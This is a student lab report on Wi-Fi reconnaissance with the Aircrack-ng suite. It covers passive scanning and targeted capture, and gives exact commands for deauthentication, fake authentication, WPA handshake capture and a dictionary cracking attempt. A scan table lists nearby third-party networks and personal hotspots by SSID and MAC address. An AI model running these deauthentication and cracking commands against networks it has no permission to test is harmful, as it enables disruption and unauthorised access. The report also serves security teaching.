

Conducting Wi-Fi Reconnaissance

Using the Aircrack-ng Suite

Sahithyan K. (230557T)

May 16, 2026

Contents

1	Introduction	2
1.1	Tools Used	2
2	Preparation	2
2.1	Background	2
2.1.1	802.11 Wireless Communication	2
2.1.2	WPA, WPA2, and WPA3	2
2.1.3	The WPA/WPA2 Four-Way Handshake	3
2.2	Installing Aircrack-ng.	3
2.3	Checking Wireless Adapter Compatibility.	3
2.4	Disabling Background Services	3
2.5	Enabling Monitor Mode.	3
3	Activities and Results	4
3.1	Passive Network Scanning	4
3.2	Targeted Packet Capture	5
3.3	Deauthentication Attack	5
3.3.1	Broadcast Deauthentication	5
3.3.2	Directed Deauthentication	5
3.3.3	Fake Authentication Attempt	6
3.4	WPA Handshake Capture	6
3.5	Passphrase Cracking Attempt	6
4	Summary and Conclusion.	7
4.1	Recommendations	7

1. Introduction

Wi-Fi reconnaissance means gathering information about nearby wireless networks. It is the first step in a security assessment: find access points, check their configuration, and identify weaknesses.

For this assignment I used the Aircrack-ng suite, a set of command-line tools for sniffing wireless traffic and capturing packets.

1.1 Tools Used

- **airmon-ng**: puts the wireless adapter into monitor mode.
- **airodump-ng**: scans nearby networks and captures packets.
- **aireplay-ng**: sends deauth frames to trigger a WPA/WPA2 handshake.

The goal: collect SSIDs, BSSIDs, channels, encryption types, and signal strengths from networks in range.

2. Preparation

Some setup was required before starting.

The MacBook's built-in Wi-Fi card does not support monitor mode or packet injection, so I used a Lenovo Vostro 15 running Ubuntu 24.04. Its Realtek RTL8852BE card supports both.

2.1 Background

2.1.1 802.11 Wireless Communication

Wi-Fi uses IEEE 802.11 over shared radio frequencies. In *monitor mode*, a device receives all frames without joining a network. 802.11 has three frame types: management (beacons, probe requests, authentication, deauthentication), control, and data. Under WPA and WPA2, management frames are plaintext and unauthenticated. This is why the deauth attack works.

2.1.2 WPA, WPA2, and WPA3

WPA (2003) replaced WEP using TKIP, which wraps RC4 with per-packet key mixing. TKIP is weak and should not be used.

WPA2 (IEEE 802.11i, 2004) replaced TKIP with AES-CCMP. It has two modes: Personal (PSK) and Enterprise (802.1X). With the four-way handshake, PSK mode can be attacked offline.

WPA3 (2018) introduced SAE (Simultaneous Authentication of Equals), replacing the PSK handshake. SAE provides forward secrecy and prevents offline dictionary attacks. WPA3 also requires Protected Management Frames (PMF / 802.11w), which blocks the deauth attack (Section 3.3).

Standard	Year	Cipher	Key Vulnerability	Status
WEP	1997	RC4 (static key)	Key reuse; crackable in minutes	Broken
WPA	2003	TKIP (RC4 wrapped)	Weak MIC; offline dictionary attacks	Deprecated
WPA2	2004	AES-CCMP	Offline handshake cracking (PSK mode)	Widely used
WPA3	2018	AES-GCMP + SAE	No known practical attacks	Recommended

2.1.3 The WPA/WPA2 Four-Way Handshake

When a client joins a WPA2 network, the AP and client exchange four messages to derive a session key (PTK) from the passphrase and two random nonces. The passphrase is never sent directly. The handshake includes a MIC computed from the passphrase. An attacker captures the handshake, guesses a passphrase, recomputes the MIC, and checks for a match. This can be done offline, without further contact with the network.

2.2 Installing Aircrack-ng

Installed through apt:

```
sudo apt install aircrack-ng
```

2.3 Checking Wireless Adapter Compatibility

The adapter needs monitor mode and injection. I checked the interface with:

```
iwconfig
```

The wireless interface showed up as `wlp2s0`.

2.4 Disabling Background Services

`wpa_supplicant` and `avahi` interfere with `airodump-ng`. Kill them with:

```
sudo airmon-ng check kill
```

The processes it killed:

PID	Name
1236	wpa_supplicant
1323558	avahi-daemon
1323562	avahi-daemon

2.5 Enabling Monitor Mode

Then I switched the adapter into monitor mode:

```
sudo airmon-ng start wlp2s0
```

The interface got renamed to `wlp2s0mon`.

3. Activities and Results

3.1 Passive Network Scanning

In passive scanning, the adapter listens without transmitting or joining any network. This reveals BSSIDs, channels, encryption types, and connected clients.

I scanned with `airodump-ng`:

```
sudo airodump-ng wlp2s0mon
```

This outputs each nearby AP with its SSID, BSSID, channel, encryption, signal, and clients. Six sessions on 2026-05-16 (12:27–12:54, 27 minutes) found **39 unique access points** and **192,000 frames** (31,000 beacons, 161,000 data).

A sample sorted by signal:

SSID	BSSID	Ch.	Encryption	Signal
Thavanathan's iPhone	A6:8E:DC:82:EB:7B	6	WPA2	−47 dBm
Galaxy M0298c8	22:7C:A4:7D:D9:64	6	WPA2 / Open	−64 dBm
Boss	9E:02:9F:A9:99:85	1	WPA2	−66 dBm
Redmi A1+	BA:3D:EB:6D:12:5C	6	Open	−71 dBm
Dialog 4G	7C:11:CB:07:F3:03	6	WPA2	−76 dBm
Dialog 4G 777	98:A9:42:17:FE:C1	7	WPA2	−77 dBm
Dialog 4G 379	D8:42:F7:E2:21:7B	10	WPA2	−79 dBm
Redmi A5	4E:A8:A8:1D:FA:AF	1	WPA3 / WPA2	−84 dBm
EZVIZ_BA8983061	BA:4D:43:17:49:3D	3	WPA2 / WPA	−85 dBm
SLT-4G-EAFC	0C:8F:FF:28:14:7C	6	WPA2 / WPA	−91 dBm

Signal is in dBm; more negative means weaker. −47 dBm is strong (under 10 m), −70 dBm is usable, −80 dBm is marginal, −91 dBm is at the edge.

- **32 networks** used WPA2, **1** (Redmi A5) used WPA3. Most routers and ISPs do not support WPA3.
- **4 networks** were open, including the “Redmi A1+” hotspot.
- **7 networks** had hidden SSIDs (empty ESSID in the beacon).
- Some APs ran mixed WPA/WPA2 mode.
- Several mobile hotspots were visible: “Thavanathan’s iPhone”, “Galaxy M0298c8”, “TimBaT-TuK’s S25 Ultra”.
- IoT devices were identifiable by SSID: EZVIZ_ (camera), DDPAI_ and 70mai_ (dash cams), three WIFIBRG_ bridges.
- Two vehicle APs: “Vezel-Dash-Cam” and “In_Vehicle_Wifi”.
- Up to 3 clients per AP were visible, so passive capture tracks devices too.

Open networks expose all traffic in plaintext. WPA2 is acceptable with a strong passphrase, but mixed WPA/WPA2 falls back to TKIP, which is weak. Hidden SSIDs offer no real protection; the AP still beacons and `airodump-ng` captured them. IoT devices are easy to identify by SSID and typically run outdated firmware.

3.2 Targeted Packet Capture

I picked one network and locked the capture onto it:

```
sudo airodump-ng -c 6 --bssid A6:8E:DC:82:EB:7B -w capture wlp2s0mon
```

- **-c**: channel number
- **--bssid**: target AP's MAC
- **-w**: write packets to a file

The capture ran from **12:56:33** to **12:57:12** (39 seconds):

SSID	BSSID	Ch.	Encryption	Signal	Beacons	Data
Thavanathan's iPhone	A6:8E:DC:82:EB:7B	6	WPA2 (CCMP/PSK)	-78 dBm	322	1407

Two clients were associated with the AP:

Client MAC	Signal	Packets	Note
24:EB:16:56:E1:CC	-76 dBm	3124	Directed deauth target (succeeded)
14:5A:FC:81:7E:1D	-37 dBm	1134	First deauth attempt (channel mismatch)

Pinning to one channel and BSSID filters all frames to the target. 1,407 data frames in 40 seconds is enough to work with.

For WPA cracking, beacons and data frames do not matter. Only the four handshake frames are needed. Without them, no amount of data helps.

3.3 Deauthentication Attack

I ran a deauth attack against my own hotspot to force clients to reconnect and trigger the WPA handshake. No other devices were affected.

3.3.1 Broadcast Deauthentication

First, a broadcast deauth targeting all clients of the AP:

```
sudo aireplay-ng -0 5 -a A6:8E:DC:82:EB:7B wlp2s0mon
```

This sends five deauth frames to the broadcast address, disconnecting all clients.

3.3.2 Directed Deauthentication

The first directed attempt failed because the monitor interface was on channel 13 instead of channel 6:

```
sudo aireplay-ng -0 5 -a A6:8E:DC:82:EB:7B -c 14:5A:FC:81:7E:1D wlp2s0mon
```

Running `airmon-ng check kill` fixed the channel. The next attempt, against 24:EB:16:56:E1:CC, worked:

```
sudo aireplay-ng -0 5 -a A6:8E:DC:82:EB:7B -c 24:EB:16:56:E1:CC  
wlp2s0mon
```

aireplay-ng got 63 ACKs out of 67, confirming the client received the frames.

A continuous attack (-0 0) ran for five minutes. ACK counts varied as the client repeatedly tried to reconnect.

3.3.3 Fake Authentication Attempt

I also attempted a fake authentication:

```
sudo aireplay-ng -1 0 -a A6:8E:DC:82:EB:7B -c 24:EB:16:56:E1:CC  
wlp2s0mon
```

The auth step succeeded, but association failed with status code 12 (*wrong ESSID or WPA*). On an open network it would have succeeded, exposing traffic in plaintext.

Deauth frames in 802.11 are unauthenticated; anyone can send them. The 63/67 ACK rate confirms the client accepted them. WPA3 with PMF signs management frames and blocks this attack. Since almost no network in range used WPA3, this attack applies to nearly all of them.

3.4 WPA Handshake Capture

After the deauth, the client reconnected and the handshake appeared in the capture:

```
WPA Handshake: A6:8E:DC:82:EB:7B
```

With the handshake, aircrack-ng or hashcat can test passphrases offline. A weak passphrase can be cracked in hours or days. Combined with the scan data, this is enough for unauthorised access, traffic monitoring, device tracking, and denial of service.

3.5 Passphrase Cracking Attempt

I ran aircrack-ng against the capture using the rockyou.txt wordlist:

```
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
```

It ran for 20 minutes, testing **14,344,391** candidates at **11,780 keys/second**. The passphrase **was not found**.

A passphrase not in common wordlists will not fall to a dictionary attack. Going further requires larger wordlists, GPU hardware, or significant compute time.

4. Summary and Conclusion

This assignment covered Wi-Fi reconnaissance with Aircrack-ng. Using `airmon-ng`, `airodump-ng`, and `aireplay-ng`, I scanned nearby networks and captured a WPA2 handshake.

Six sessions on 2026-05-16 (12:27–12:54) found 39 access points. All data was collected passively without joining any network. The deauth attack forced a reconnect and produced the handshake.

Notable findings: open hotspots, mixed WPA/WPA2 setups, minimal WPA3 adoption, identifiable IoT devices, and unauthenticated management frames.

Takeaways:

- Passive scanning reveals SSIDs, BSSIDs, encryption, channels, signal, and vendor hints without any authentication.
- Unauthenticated management frames mean deauth attacks work against almost every WPA2 network. WPA3 with PMF is the only fix.
- Once captured, the handshake can be attacked offline indefinitely. A strong passphrase is the only defence.
- WPA3 adoption is slow. None of the 39 APs ran WPA3 exclusively.

4.1 Recommendations

- **Use WPA3 if possible, WPA2 at minimum.** WPA3's PMF blocks deauth attacks and SAE prevents offline cracking. Avoid mixed WPA/WPA2 modes, which fall back to TKIP.
- **Don't use open Wi-Fi.** Traffic is plaintext and visible to anyone in range.
- **Use a strong passphrase.** A passphrase not in common wordlists will not fall to a dictionary attack. Avoid real words and short phrases.
- **Keep firmware updated,** especially on ISP routers and IoT devices.
- **Disable WPS.** Its PIN is vulnerable to brute force regardless of the WPA2 passphrase.
- **Periodically check the client list** for unknown devices.

Wi-Fi reconnaissance surfaces weak spots before someone else finds them.